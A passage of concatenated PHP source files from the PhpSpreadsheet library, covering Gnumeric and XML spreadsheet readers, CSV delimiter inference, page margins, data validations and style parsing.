$marginSize = PageMargins::fromPoints((float) $marginSize); $marginSet[$key] = $marginSize; } return $marginSet; } private function adjustMargins(array $marginSet): void { foreach ($marginSet as $key => $marginSize) { // Gnumeric is quirky in the way it displays the header/footer values: // header is actually the sum of top and header; footer is actually the sum of bottom and footer // then top is actually the header value, and bottom is actually the footer value switch ($key) { case 'left': case 'right': $this->sheetMargin($key, $marginSize); break; case 'top': $this->sheetMargin($key, $marginSet['header'] ?? 0); break; case 'bottom': $this->sheetMargin($key, $marginSet['footer'] ?? 0); break; case 'header': $this->sheetMargin($key, ($marginSet['top'] ?? 0) - $marginSize); break; case 'footer': $this->sheetMargin($key, ($marginSet['bottom'] ?? 0) - $marginSize); break; } } } private function sheetMargin(string $key, float $marginSize): void { switch ($key) { case 'top': $this->spreadsheet->getActiveSheet()->getPageMargins()->setTop($marginSize); break; case 'bottom': $this->spreadsheet->getActiveSheet()->getPageMargins()->setBottom($marginSize); break; case 'left': $this->spreadsheet->getActiveSheet()->getPageMargins()->setLeft($marginSize); break; case 'right': $this->spreadsheet->getActiveSheet()->getPageMargins()->setRight($marginSize); break; case 'header': $this->spreadsheet->getActiveSheet()->getPageMargins()->setHeader($marginSize); break; case 'footer': $this->spreadsheet->getActiveSheet()->getPageMargins()->setFooter($marginSize); break; } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Csv/Delimiter.php000064400000010626151676714400021640 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Csv; class Delimiter { protected const POTENTIAL_DELIMETERS = [',', ';', "\t", '|', ':', ' ', '~']; /** @var resource */ protected $fileHandle; protected string $escapeCharacter; protected string $enclosure; protected array $counts = []; protected int $numberLines = 0; /** @var ?string */ protected ?string $delimiter = null; /** * @param resource $fileHandle */ public function __construct($fileHandle, string $escapeCharacter, string $enclosure) { $this->fileHandle = $fileHandle; $this->escapeCharacter = $escapeCharacter; $this->enclosure = $enclosure; $this->countPotentialDelimiters(); } public function getDefaultDelimiter(): string { return self::POTENTIAL_DELIMETERS[0]; } public function linesCounted(): int { return $this->numberLines; } protected function countPotentialDelimiters(): void { $this->counts = array_fill_keys(self::POTENTIAL_DELIMETERS, []); $delimiterKeys = array_flip(self::POTENTIAL_DELIMETERS); // Count how many times each of the potential delimiters appears in each line $this->numberLines = 0; while (($line = $this->getNextLine()) !== false && (++$this->numberLines < 1000)) { $this->countDelimiterValues($line, $delimiterKeys); } } protected function countDelimiterValues(string $line, array $delimiterKeys): void { $splitString = str_split($line, 1); if (is_array($splitString)) { $distribution = array_count_values($splitString); $countLine = array_intersect_key($distribution, $delimiterKeys); foreach (self::POTENTIAL_DELIMETERS as $delimiter) { $this->counts[$delimiter][] = $countLine[$delimiter] ?? 0; } } } public function infer(): ?string { // Calculate the mean square deviations for each delimiter // (ignoring delimiters that haven't been found consistently) $meanSquareDeviations = []; $middleIdx = floor(($this->numberLines - 1) / 2); foreach (self::POTENTIAL_DELIMETERS as $delimiter) { $series = $this->counts[$delimiter]; sort($series); $median = ($this->numberLines % 2) ? $series[$middleIdx] : ($series[$middleIdx] + $series[$middleIdx + 1]) / 2; if ($median === 0) { continue; } $meanSquareDeviations[$delimiter] = array_reduce( $series, fn ($sum, $value): int|float => $sum + ($value - $median) ** 2 ) / count($series); } // ... and pick the delimiter with the smallest mean square deviation // (in case of ties, the order in potentialDelimiters is respected) $min = INF; foreach (self::POTENTIAL_DELIMETERS as $delimiter) { if (!isset($meanSquareDeviations[$delimiter])) { continue; } if ($meanSquareDeviations[$delimiter] < $min) { $min = $meanSquareDeviations[$delimiter]; $this->delimiter = $delimiter; } } return $this->delimiter; } /** * Get the next full line from the file. * * @return false|string */ public function getNextLine() { $line = ''; $enclosure = ($this->escapeCharacter === '' ? '' : ('(?<!' . preg_quote($this->escapeCharacter, '/') . ')')) . preg_quote($this->enclosure, '/'); do { // Get the next line in the file $newLine = fgets($this->fileHandle); // Return false if there is no next line if ($newLine === false) { return false; } // Add the new line to the line passed in $line = $line . $newLine; // Drop everything that is enclosed to avoid counting false positives in enclosures $line = (string) preg_replace('/(' . $enclosure . '.*' . $enclosure . ')/Us', '', $line); // See if we have any enclosures left in the line // if we still have an enclosure then we need to read the next line as well } while (preg_match('/(' . $enclosure . ')/', $line) > 0); return ($line !== '') ? $line : false; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/DefaultReadFilter.php000064400000000726151676714400022515 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader; class DefaultReadFilter implements IReadFilter { /** * Should this cell be read? * * @param string $columnAddress Column address (as a string value like "A", or "IV") * @param int $row Row number * @param string $worksheetName Optional worksheet name */ public function readCell(string $columnAddress, int $row, string $worksheetName = ''): bool { return true; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Gnumeric.php000064400000053210151676714400020734 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Cell\DataType; use PhpOffice\PhpSpreadsheet\DefinedName; use PhpOffice\PhpSpreadsheet\Reader\Gnumeric\PageSetup; use PhpOffice\PhpSpreadsheet\Reader\Gnumeric\Properties; use PhpOffice\PhpSpreadsheet\Reader\Gnumeric\Styles; use PhpOffice\PhpSpreadsheet\Reader\Security\XmlScanner; use PhpOffice\PhpSpreadsheet\ReferenceHelper; use PhpOffice\PhpSpreadsheet\RichText\RichText; use PhpOffice\PhpSpreadsheet\Settings; use PhpOffice\PhpSpreadsheet\Shared\File; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; use SimpleXMLElement; use XMLReader; class Gnumeric extends BaseReader { const NAMESPACE_GNM = 'http://www.gnumeric.org/v10.dtd'; // gmr in old sheets const NAMESPACE_XSI = 'http://www.w3.org/2001/XMLSchema-instance'; const NAMESPACE_OFFICE = 'urn:oasis:names:tc:opendocument:xmlns:office:1.0'; const NAMESPACE_XLINK = 'http://www.w3.org/1999/xlink'; const NAMESPACE_DC = 'http://purl.org/dc/elements/1.1/'; const NAMESPACE_META = 'urn:oasis:names:tc:opendocument:xmlns:meta:1.0'; const NAMESPACE_OOO = 'http://openoffice.org/2004/office'; /** * Shared Expressions. */ private array $expressions = []; /** * Spreadsheet shared across all functions. */ private Spreadsheet $spreadsheet; private ReferenceHelper $referenceHelper; public static array $mappings = [ 'dataType' => [ '10' => DataType::TYPE_NULL, '20' => DataType::TYPE_BOOL, '30' => DataType::TYPE_NUMERIC, // Integer doesn't exist in Excel '40' => DataType::TYPE_NUMERIC, // Float '50' => DataType::TYPE_ERROR, '60' => DataType::TYPE_STRING, //'70': // Cell Range //'80': // Array ], ]; /** * Create a new Gnumeric. */ public function __construct() { parent::__construct(); $this->referenceHelper = ReferenceHelper::getInstance(); $this->securityScanner = XmlScanner::getInstance($this); } /** * Can the current IReader read the file? */ public function canRead(string $filename): bool { $data = null; if (File::testFileNoThrow($filename)) { $data = $this->gzfileGetContents($filename); if (!str_contains($data, self::NAMESPACE_GNM)) { $data = ''; } } return !empty($data); } private static function matchXml(XMLReader $xml, string $expectedLocalName): bool { return $xml->namespaceURI === self::NAMESPACE_GNM && $xml->localName === $expectedLocalName && $xml->nodeType === XMLReader::ELEMENT; } /** * Reads names of the worksheets from a file, without parsing the whole file to a Spreadsheet object. */ public function listWorksheetNames(string $filename): array { File::assertFile($filename); if (!$this->canRead($filename)) { throw new Exception($filename . ' is an invalid Gnumeric file.'); } $xml = new XMLReader(); $contents = $this->gzfileGetContents($filename); $xml->xml($contents, null, Settings::getLibXmlLoaderOptions()); $xml->setParserProperty(2, true); $worksheetNames = []; while ($xml->read()) { if (self::matchXml($xml, 'SheetName')) { $xml->read(); // Move onto the value node $worksheetNames[] = (string) $xml->value; } elseif (self::matchXml($xml, 'Sheets')) { // break out of the loop once we've got our sheet names rather than parse the entire file break; } } return $worksheetNames; } /** * Return worksheet info (Name, Last Column Letter, Last Column Index, Total Rows, Total Columns). */ public function listWorksheetInfo(string $filename): array { File::assertFile($filename); if (!$this->canRead($filename)) { throw new Exception($filename . ' is an invalid Gnumeric file.'); } $xml = new XMLReader(); $contents = $this->gzfileGetContents($filename); $xml->xml($contents, null, Settings::getLibXmlLoaderOptions()); $xml->setParserProperty(2, true); $worksheetInfo = []; while ($xml->read()) { if (self::matchXml($xml, 'Sheet')) { $tmpInfo = [ 'worksheetName' => '', 'lastColumnLetter' => 'A', 'lastColumnIndex' => 0, 'totalRows' => 0, 'totalColumns' => 0, ]; while ($xml->read()) { if (self::matchXml($xml, 'Name')) { $xml->read(); // Move onto the value node $tmpInfo['worksheetName'] = (string) $xml->value; } elseif (self::matchXml($xml, 'MaxCol')) { $xml->read(); // Move onto the value node $tmpInfo['lastColumnIndex'] = (int) $xml->value; $tmpInfo['totalColumns'] = (int) $xml->value + 1; } elseif (self::matchXml($xml, 'MaxRow')) { $xml->read(); // Move onto the value node $tmpInfo['totalRows'] = (int) $xml->value + 1; break; } } $tmpInfo['lastColumnLetter'] = Coordinate::stringFromColumnIndex($tmpInfo['lastColumnIndex'] + 1); $worksheetInfo[] = $tmpInfo; } } return $worksheetInfo; } private function gzfileGetContents(string $filename): string { $data = ''; $contents = @file_get_contents($filename); if ($contents !== false) { if (str_starts_with($contents, "\x1f\x8b")) { // Check if gzlib functions are available if (function_exists('gzdecode')) { $contents = @gzdecode($contents); if ($contents !== false) { $data = $contents; } } } else { $data = $contents; } } if ($data !== '') { $data = $this->getSecurityScannerOrThrow()->scan($data); } return $data; } public static function gnumericMappings(): array { return array_merge(self::$mappings, Styles::$mappings); } private function processComments(SimpleXMLElement $sheet): void { if ((!$this->readDataOnly) && (isset($sheet->Objects))) { foreach ($sheet->Objects->children(self::NAMESPACE_GNM) as $key => $comment) { $commentAttributes = $comment->attributes(); // Only comment objects are handled at the moment if ($commentAttributes && $commentAttributes->Text) { $this->spreadsheet->getActiveSheet()->getComment((string) $commentAttributes->ObjectBound) ->setAuthor((string) $commentAttributes->Author) ->setText($this->parseRichText((string) $commentAttributes->Text)); } } } } private static function testSimpleXml(mixed $value): SimpleXMLElement { return ($value instanceof SimpleXMLElement) ? $value : new SimpleXMLElement('<?xml version="1.0" encoding="UTF-8"?><root></root>'); } /** * Loads Spreadsheet from file. */ protected function loadSpreadsheetFromFile(string $filename): Spreadsheet { // Create new Spreadsheet $spreadsheet = new Spreadsheet(); $spreadsheet->removeSheetByIndex(0); // Load into this instance return $this->loadIntoExisting($filename, $spreadsheet); } /** * Loads from file into Spreadsheet instance. */ public function loadIntoExisting(string $filename, Spreadsheet $spreadsheet): Spreadsheet { $this->spreadsheet = $spreadsheet; File::assertFile($filename); if (!$this->canRead($filename)) { throw new Exception($filename . ' is an invalid Gnumeric file.'); } $gFileData = $this->gzfileGetContents($filename); /** @var XmlScanner */ $securityScanner = $this->securityScanner; $xml2 = simplexml_load_string($securityScanner->scan($gFileData), 'SimpleXMLElement', Settings::getLibXmlLoaderOptions()); $xml = self::testSimpleXml($xml2); $gnmXML = $xml->children(self::NAMESPACE_GNM); (new Properties($this->spreadsheet))->readProperties($xml, $gnmXML); $worksheetID = 0; foreach ($gnmXML->Sheets->Sheet as $sheetOrNull) { $sheet = self::testSimpleXml($sheetOrNull); $worksheetName = (string) $sheet->Name; if (is_array($this->loadSheetsOnly) && !in_array($worksheetName, $this->loadSheetsOnly, true)) { continue; } $maxRow = $maxCol = 0; // Create new Worksheet $this->spreadsheet->createSheet(); $this->spreadsheet->setActiveSheetIndex($worksheetID); // Use false for $updateFormulaCellReferences to prevent adjustment of worksheet references in formula // cells... during the load, all formulae should be correct, and we're simply bringing the worksheet // name in line with the formula, not the reverse $this->spreadsheet->getActiveSheet()->setTitle($worksheetName, false, false); $visibility = $sheet->attributes()['Visibility'] ?? 'GNM_SHEET_VISIBILITY_VISIBLE'; if ((string) $visibility !== 'GNM_SHEET_VISIBILITY_VISIBLE') { $this->spreadsheet->getActiveSheet()->setSheetState(Worksheet::SHEETSTATE_HIDDEN); } if (!$this->readDataOnly) { (new PageSetup($this->spreadsheet)) ->printInformation($sheet) ->sheetMargins($sheet); } foreach ($sheet->Cells->Cell as $cellOrNull) { $cell = self::testSimpleXml($cellOrNull); $cellAttributes = self::testSimpleXml($cell->attributes()); $row = (int) $cellAttributes->Row + 1; $column = (int) $cellAttributes->Col; $maxRow = max($maxRow, $row); $maxCol = max($maxCol, $column); $column = Coordinate::stringFromColumnIndex($column + 1); // Read cell? if ($this->getReadFilter() !== null) { if (!$this->getReadFilter()->readCell($column, $row, $worksheetName)) { continue; } } $this->loadCell($cell, $worksheetName, $cellAttributes, $column, $row); } if ($sheet->Styles !== null) { (new Styles($this->spreadsheet, $this->readDataOnly))->read($sheet, $maxRow, $maxCol); } $this->processComments($sheet); $this->processColumnWidths($sheet, $maxCol); $this->processRowHeights($sheet, $maxRow); $this->processMergedCells($sheet); $this->processAutofilter($sheet); $this->setSelectedCells($sheet); ++$worksheetID; } $this->processDefinedNames($gnmXML); $this->setSelectedSheet($gnmXML); // Return return $this->spreadsheet; } private function setSelectedSheet(SimpleXMLElement $gnmXML): void { if (isset($gnmXML->UIData)) { $attributes = self::testSimpleXml($gnmXML->UIData->attributes()); $selectedSheet = (int) $attributes['SelectedTab']; $this->spreadsheet->setActiveSheetIndex($selectedSheet); } } private function setSelectedCells(?SimpleXMLElement $sheet): void { if ($sheet !== null && isset($sheet->Selections)) { foreach ($sheet->Selections as $selection) { $startCol = (int) ($selection->StartCol ?? 0); $startRow = (int) ($selection->StartRow ?? 0) + 1; $endCol = (int) ($selection->EndCol ?? $startCol); $endRow = (int) ($selection->endRow ?? 0) + 1; $startColumn = Coordinate::stringFromColumnIndex($startCol + 1); $endColumn = Coordinate::stringFromColumnIndex($endCol + 1); $startCell = "{$startColumn}{$startRow}"; $endCell = "{$endColumn}{$endRow}"; $selectedRange = $startCell . (($endCell !== $startCell) ? ':' . $endCell : ''); $this->spreadsheet->getActiveSheet()->setSelectedCell($selectedRange); break; } } } private function processMergedCells(?SimpleXMLElement $sheet): void { // Handle Merged Cells in this worksheet if ($sheet !== null && isset($sheet->MergedRegions)) { foreach ($sheet->MergedRegions->Merge as $mergeCells) { if (str_contains((string) $mergeCells, ':')) { $this->spreadsheet->getActiveSheet()->mergeCells($mergeCells, Worksheet::MERGE_CELL_CONTENT_HIDE); } } } } private function processAutofilter(?SimpleXMLElement $sheet): void { if ($sheet !== null && isset($sheet->Filters)) { foreach ($sheet->Filters->Filter as $autofilter) { if ($autofilter !== null) { $attributes = $autofilter->attributes(); if (isset($attributes['Area'])) { $this->spreadsheet->getActiveSheet()->setAutoFilter((string) $attributes['Area']); } } } } } private function setColumnWidth(int $whichColumn, float $defaultWidth): void { $columnDimension = $this->spreadsheet->getActiveSheet() ->getColumnDimension(Coordinate::stringFromColumnIndex($whichColumn + 1)); if ($columnDimension !== null) { $columnDimension->setWidth($defaultWidth); } } private function setColumnInvisible(int $whichColumn): void { $columnDimension = $this->spreadsheet->getActiveSheet() ->getColumnDimension(Coordinate::stringFromColumnIndex($whichColumn + 1)); if ($columnDimension !== null) { $columnDimension->setVisible(false); } } private function processColumnLoop(int $whichColumn, int $maxCol, ?SimpleXMLElement $columnOverride, float $defaultWidth): int { $columnOverride = self::testSimpleXml($columnOverride); $columnAttributes = self::testSimpleXml($columnOverride->attributes()); $column = $columnAttributes['No']; $columnWidth = ((float) $columnAttributes['Unit']) / 5.4; $hidden = (isset($columnAttributes['Hidden'])) && ((string) $columnAttributes['Hidden'] == '1'); $columnCount = (int) ($columnAttributes['Count'] ?? 1); while ($whichColumn < $column) { $this->setColumnWidth($whichColumn, $defaultWidth); ++$whichColumn; } while (($whichColumn < ($column + $columnCount)) && ($whichColumn <= $maxCol)) { $this->setColumnWidth($whichColumn, $columnWidth); if ($hidden) { $this->setColumnInvisible($whichColumn); } ++$whichColumn; } return $whichColumn; } private function processColumnWidths(?SimpleXMLElement $sheet, int $maxCol): void { if ((!$this->readDataOnly) && $sheet !== null && (isset($sheet->Cols))) { // Column Widths $defaultWidth = 0; $columnAttributes = $sheet->Cols->attributes(); if ($columnAttributes !== null) { $defaultWidth = $columnAttributes['DefaultSizePts'] / 5.4; } $whichColumn = 0; foreach ($sheet->Cols->ColInfo as $columnOverride) { $whichColumn = $this->processColumnLoop($whichColumn, $maxCol, $columnOverride, $defaultWidth); } while ($whichColumn <= $maxCol) { $this->setColumnWidth($whichColumn, $defaultWidth); ++$whichColumn; } } } private function setRowHeight(int $whichRow, float $defaultHeight): void { $rowDimension = $this->spreadsheet->getActiveSheet()->getRowDimension($whichRow); if ($rowDimension !== null) { $rowDimension->setRowHeight($defaultHeight); } } private function setRowInvisible(int $whichRow): void { $rowDimension = $this->spreadsheet->getActiveSheet()->getRowDimension($whichRow); if ($rowDimension !== null) { $rowDimension->setVisible(false); } } private function processRowLoop(int $whichRow, int $maxRow, ?SimpleXMLElement $rowOverride, float $defaultHeight): int { $rowOverride = self::testSimpleXml($rowOverride); $rowAttributes = self::testSimpleXml($rowOverride->attributes()); $row = $rowAttributes['No']; $rowHeight = (float) $rowAttributes['Unit']; $hidden = (isset($rowAttributes['Hidden'])) && ((string) $rowAttributes['Hidden'] == '1'); $rowCount = (int) ($rowAttributes['Count'] ?? 1); while ($whichRow < $row) { ++$whichRow; $this->setRowHeight($whichRow, $defaultHeight); } while (($whichRow < ($row + $rowCount)) && ($whichRow < $maxRow)) { ++$whichRow; $this->setRowHeight($whichRow, $rowHeight); if ($hidden) { $this->setRowInvisible($whichRow); } } return $whichRow; } private function processRowHeights(?SimpleXMLElement $sheet, int $maxRow): void { if ((!$this->readDataOnly) && $sheet !== null && (isset($sheet->Rows))) { // Row Heights $defaultHeight = 0; $rowAttributes = $sheet->Rows->attributes(); if ($rowAttributes !== null) { $defaultHeight = (float) $rowAttributes['DefaultSizePts']; } $whichRow = 0; foreach ($sheet->Rows->RowInfo as $rowOverride) { $whichRow = $this->processRowLoop($whichRow, $maxRow, $rowOverride, $defaultHeight); } // never executed, I can't figure out any circumstances // under which it would be executed, and, even if // such exist, I'm not convinced this is needed. //while ($whichRow < $maxRow) { // ++$whichRow; // $this->spreadsheet->getActiveSheet()->getRowDimension($whichRow)->setRowHeight($defaultHeight); //} } } private function processDefinedNames(?SimpleXMLElement $gnmXML): void { // Loop through definedNames (global named ranges) if ($gnmXML !== null && isset($gnmXML->Names)) { foreach ($gnmXML->Names->Name as $definedName) { $name = (string) $definedName->name; $value = (string) $definedName->value; if (stripos($value, '#REF!') !== false || empty($value)) { continue; } [$worksheetName] = Worksheet::extractSheetTitle($value, true); $worksheetName = trim($worksheetName, "'"); $worksheet = $this->spreadsheet->getSheetByName($worksheetName); // Worksheet might still be null if we're only loading selected sheets rather than the full spreadsheet if ($worksheet !== null) { $this->spreadsheet->addDefinedName(DefinedName::createInstance($name, $worksheet, $value)); } } } } private function parseRichText(string $is): RichText { $value = new RichText(); $value->createText($is); return $value; } private function loadCell( SimpleXMLElement $cell, string $worksheetName, SimpleXMLElement $cellAttributes, string $column, int $row ): void { $ValueType = $cellAttributes->ValueType; $ExprID = (string) $cellAttributes->ExprID; $type = DataType::TYPE_FORMULA; if ($ExprID > '') { if (((string) $cell) > '') { $this->expressions[$ExprID] = [ 'column' => $cellAttributes->Col, 'row' => $cellAttributes->Row, 'formula' => (string) $cell, ]; } else { $expression = $this->expressions[$ExprID]; $cell = $this->referenceHelper->updateFormulaReferences( $expression['formula'], 'A1', $cellAttributes->Col - $expression['column'], $cellAttributes->Row - $expression['row'], $worksheetName ); } $type = DataType::TYPE_FORMULA; } else { $vtype = (string) $ValueType; if (array_key_exists($vtype, self::$mappings['dataType'])) { $type = self::$mappings['dataType'][$vtype]; } if ($vtype === '20') { // Boolean $cell = $cell == 'TRUE'; } } $this->spreadsheet->getActiveSheet()->getCell($column . $row)->setValueExplicit((string) $cell, $type); if (isset($cellAttributes->ValueFormat)) { $this->spreadsheet->getActiveSheet()->getCell($column . $row) ->getStyle()->getNumberFormat() ->setFormatCode((string) $cellAttributes->ValueFormat); } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xml/Properties.php000064400000011522151676714400022057 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xml; use PhpOffice\PhpSpreadsheet\Document\Properties as DocumentProperties; use PhpOffice\PhpSpreadsheet\Spreadsheet; use SimpleXMLElement; class Properties { protected Spreadsheet $spreadsheet; public function __construct(Spreadsheet $spreadsheet) { $this->spreadsheet = $spreadsheet; } public function readProperties(SimpleXMLElement $xml, array $namespaces): void { $this->readStandardProperties($xml); $this->readCustomProperties($xml, $namespaces); } protected function readStandardProperties(SimpleXMLElement $xml): void { if (isset($xml->DocumentProperties[0])) { $docProps = $this->spreadsheet->getProperties(); foreach ($xml->DocumentProperties[0] as $propertyName => $propertyValue) { $propertyValue = (string) $propertyValue; $this->processStandardProperty($docProps, $propertyName, $propertyValue); } } } protected function readCustomProperties(SimpleXMLElement $xml, array $namespaces): void { if (isset($xml->CustomDocumentProperties) && is_iterable($xml->CustomDocumentProperties[0])) { $docProps = $this->spreadsheet->getProperties(); foreach ($xml->CustomDocumentProperties[0] as $propertyName => $propertyValue) { $propertyAttributes = self::getAttributes($propertyValue, $namespaces['dt']); $propertyName = (string) preg_replace_callback('/_x([0-9a-f]{4})_/i', [$this, 'hex2str'], $propertyName); $this->processCustomProperty($docProps, $propertyName, $propertyValue, $propertyAttributes); } } } protected function processStandardProperty( DocumentProperties $docProps, string $propertyName, string $stringValue ): void { switch ($propertyName) { case 'Title': $docProps->setTitle($stringValue); break; case 'Subject': $docProps->setSubject($stringValue); break; case 'Author': $docProps->setCreator($stringValue); break; case 'Created': $docProps->setCreated($stringValue); break; case 'LastAuthor': $docProps->setLastModifiedBy($stringValue); break; case 'LastSaved': $docProps->setModified($stringValue); break; case 'Company': $docProps->setCompany($stringValue); break; case 'Category': $docProps->setCategory($stringValue); break; case 'Manager': $docProps->setManager($stringValue); break; case 'HyperlinkBase': $docProps->setHyperlinkBase($stringValue); break; case 'Keywords': $docProps->setKeywords($stringValue); break; case 'Description': $docProps->setDescription($stringValue); break; } } protected function processCustomProperty( DocumentProperties $docProps, string $propertyName, ?SimpleXMLElement $propertyValue, SimpleXMLElement $propertyAttributes ): void { switch ((string) $propertyAttributes) { case 'boolean': $propertyType = DocumentProperties::PROPERTY_TYPE_BOOLEAN; $propertyValue = (bool) (string) $propertyValue; break; case 'integer': $propertyType = DocumentProperties::PROPERTY_TYPE_INTEGER; $propertyValue = (int) $propertyValue; break; case 'float': $propertyType = DocumentProperties::PROPERTY_TYPE_FLOAT; $propertyValue = (float) $propertyValue; break; case 'dateTime.tz': case 'dateTime.iso8601tz': $propertyType = DocumentProperties::PROPERTY_TYPE_DATE; $propertyValue = trim((string) $propertyValue); break; default: $propertyType = DocumentProperties::PROPERTY_TYPE_STRING; $propertyValue = trim((string) $propertyValue); break; } $docProps->setCustomProperty($propertyName, $propertyValue, $propertyType); } protected function hex2str(array $hex): string { return mb_chr((int) hexdec($hex[1]), 'UTF-8'); } private static function getAttributes(?SimpleXMLElement $simple, string $node): SimpleXMLElement { return ($simple === null) ? new SimpleXMLElement('<xml></xml>') : ($simple->attributes($node) ?? new SimpleXMLElement('<xml></xml>')); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xml/DataValidations.php000064400000017027151676714400023000 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xml; use PhpOffice\PhpSpreadsheet\Cell\AddressHelper; use PhpOffice\PhpSpreadsheet\Cell\AddressRange; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Cell\DataValidation; use PhpOffice\PhpSpreadsheet\Reader\Xlsx\Namespaces; use PhpOffice\PhpSpreadsheet\Spreadsheet; use SimpleXMLElement; class DataValidations { private const OPERATOR_MAPPINGS = [ 'between' => DataValidation::OPERATOR_BETWEEN, 'equal' => DataValidation::OPERATOR_EQUAL, 'greater' => DataValidation::OPERATOR_GREATERTHAN, 'greaterorequal' => DataValidation::OPERATOR_GREATERTHANOREQUAL, 'less' => DataValidation::OPERATOR_LESSTHAN, 'lessorequal' => DataValidation::OPERATOR_LESSTHANOREQUAL, 'notbetween' => DataValidation::OPERATOR_NOTBETWEEN, 'notequal' => DataValidation::OPERATOR_NOTEQUAL, ]; private const TYPE_MAPPINGS = [ 'textlength' => DataValidation::TYPE_TEXTLENGTH, ]; private int $thisRow = 0; private int $thisColumn = 0; private function replaceR1C1(array $matches): string { return AddressHelper::convertToA1($matches[0], $this->thisRow, $this->thisColumn, false); } public function loadDataValidations(SimpleXMLElement $worksheet, Spreadsheet $spreadsheet): void { $xmlX = $worksheet->children(Namespaces::URN_EXCEL); $sheet = $spreadsheet->getActiveSheet(); /** @var callable $pregCallback */ $pregCallback = [$this, 'replaceR1C1']; foreach ($xmlX->DataValidation as $dataValidation) { $cells = []; $validation = new DataValidation(); // set defaults $validation->setShowDropDown(true); $validation->setShowInputMessage(true); $validation->setShowErrorMessage(true); $validation->setShowDropDown(true); $this->thisRow = 1; $this->thisColumn = 1; foreach ($dataValidation as $tagName => $tagValue) { $tagValue = (string) $tagValue; $tagValueLower = strtolower($tagValue); switch ($tagName) { case 'Range': foreach (explode(',', $tagValue) as $range) { $cell = ''; if (preg_match('/^R(\d+)C(\d+):R(\d+)C(\d+)$/', (string) $range, $selectionMatches) === 1) { // range $firstCell = Coordinate::stringFromColumnIndex((int) $selectionMatches[2]) . $selectionMatches[1]; $cell = $firstCell . ':' . Coordinate::stringFromColumnIndex((int) $selectionMatches[4]) . $selectionMatches[3]; $this->thisRow = (int) $selectionMatches[1]; $this->thisColumn = (int) $selectionMatches[2]; $sheet->getCell($firstCell); } elseif (preg_match('/^R(\d+)C(\d+)$/', (string) $range, $selectionMatches) === 1) { // cell $cell = Coordinate::stringFromColumnIndex((int) $selectionMatches[2]) . $selectionMatches[1]; $sheet->getCell($cell); $this->thisRow = (int) $selectionMatches[1]; $this->thisColumn = (int) $selectionMatches[2]; } elseif (preg_match('/^C(\d+)$/', (string) $range, $selectionMatches) === 1) { // column $firstCell = Coordinate::stringFromColumnIndex((int) $selectionMatches[1]) . '1'; $cell = $firstCell . ':' . Coordinate::stringFromColumnIndex((int) $selectionMatches[1]) . ((string) AddressRange::MAX_ROW); $this->thisColumn = (int) $selectionMatches[1]; $sheet->getCell($firstCell); } elseif (preg_match('/^R(\d+)$/', (string) $range, $selectionMatches)) { // row $firstCell = 'A' . $selectionMatches[1]; $cell = $firstCell . ':' . AddressRange::MAX_COLUMN . $selectionMatches[1]; $this->thisRow = (int) $selectionMatches[1]; $sheet->getCell($firstCell); } $validation->setSqref($cell); $stRange = $sheet->shrinkRangeToFit($cell); $cells = array_merge($cells, Coordinate::extractAllCellReferencesInRange($stRange)); } break; case 'Type': $validation->setType(self::TYPE_MAPPINGS[$tagValueLower] ?? $tagValueLower); break; case 'Qualifier': $validation->setOperator(self::OPERATOR_MAPPINGS[$tagValueLower] ?? $tagValueLower); break; case 'InputTitle': $validation->setPromptTitle($tagValue); break; case 'InputMessage': $validation->setPrompt($tagValue); break; case 'InputHide': $validation->setShowInputMessage(false); break; case 'ErrorStyle': $validation->setErrorStyle($tagValueLower); break; case 'ErrorTitle': $validation->setErrorTitle($tagValue); break; case 'ErrorMessage': $validation->setError($tagValue); break; case 'ErrorHide': $validation->setShowErrorMessage(false); break; case 'ComboHide': $validation->setShowDropDown(false); break; case 'UseBlank': $validation->setAllowBlank(true); break; case 'CellRangeList': // FIXME missing FIXME break; case 'Min': case 'Value': $tagValue = (string) preg_replace_callback(AddressHelper::R1C1_COORDINATE_REGEX, $pregCallback, $tagValue); $validation->setFormula1($tagValue); break; case 'Max': $tagValue = (string) preg_replace_callback(AddressHelper::R1C1_COORDINATE_REGEX, $pregCallback, $tagValue); $validation->setFormula2($tagValue); break; } } foreach ($cells as $cell) { $sheet->getCell($cell)->setDataValidation(clone $validation); } } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xml/Style.php000064400000010224151676714400021021 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xml; use PhpOffice\PhpSpreadsheet\Style\Protection; use SimpleXMLElement; class Style { /** * Formats. */ protected array $styles = []; public function parseStyles(SimpleXMLElement $xml, array $namespaces): array { $children = $xml->children('urn:schemas-microsoft-com:office:spreadsheet'); $stylesXml = $children->Styles[0]; if (!isset($stylesXml) || !is_iterable($stylesXml)) { return []; } $alignmentStyleParser = new Style\Alignment(); $borderStyleParser = new Style\Border(); $fontStyleParser = new Style\Font(); $fillStyleParser = new Style\Fill(); $numberFormatStyleParser = new Style\NumberFormat(); foreach ($stylesXml as $style) { $style_ss = self::getAttributes($style, $namespaces['ss']); $styleID = (string) $style_ss['ID']; $this->styles[$styleID] = $this->styles['Default'] ?? []; $alignment = $border = $font = $fill = $numberFormat = $protection = []; foreach ($style as $styleType => $styleDatax) { $styleData = self::getSxml($styleDatax); $styleAttributes = $styleData->attributes($namespaces['ss']); switch ($styleType) { case 'Alignment': if ($styleAttributes) { $alignment = $alignmentStyleParser->parseStyle($styleAttributes); } break; case 'Borders': $border = $borderStyleParser->parseStyle($styleData, $namespaces); break; case 'Font': if ($styleAttributes) { $font = $fontStyleParser->parseStyle($styleAttributes); } break; case 'Interior': if ($styleAttributes) { $fill = $fillStyleParser->parseStyle($styleAttributes); } break; case 'NumberFormat': if ($styleAttributes) { $numberFormat = $numberFormatStyleParser->parseStyle($styleAttributes); } break; case 'Protection': $locked = $hidden = null; $styleAttributesP = $styleData->attributes($namespaces['x']); if 